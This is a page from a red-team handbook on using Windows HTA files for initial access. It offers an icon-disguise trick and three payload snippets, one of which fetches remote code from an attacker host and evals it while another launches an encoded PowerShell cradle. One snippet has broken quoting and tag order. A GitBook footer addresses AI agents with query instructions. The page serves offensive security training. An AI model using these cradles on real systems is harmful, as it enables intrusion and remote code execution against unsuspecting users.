> For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/hta.md).

# HTA

These stand for HTML applications. These files have access to *VBS, JS, COM and .NET* which make it a huge target payload for attackers. HTA files can be used to run execution cradles or execute shellcode. Normally, HTA files run under mshta.exe, note that there are ways to dechain process and child relationships.

We can change the icon of the HTA file with this command:  `copy /b picture.ico+test.hta test_with_icon.hta`<br>

Here are some ways you can utilize HTA files

```
<script language="javascript" type="text/javascript">
      h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
      h.Open("GET","http://attacker.domain/connect",false);
      h.Send();
      B=h.ResponseText;
      eval(B);
	  window.close();
    </script>
```

```
<html>
<head>
<script language="VBScript"> 
    Sub foo
    	command = "notepad.exe"
        Set objShell = CreateObject("Wscript.Shell")
        objShell.Run command
    End Sub
foo()
</script>
</head> 
<body>
</body>
</html>
```

```
<html>
<script>
    var cmd = "powershell.exe -enc cradle";
    var wsh = new ActiveXObject(WScript.shell");
    wsh.run(cmd);
</html>
</script>
```

&#x20;


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/hta.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
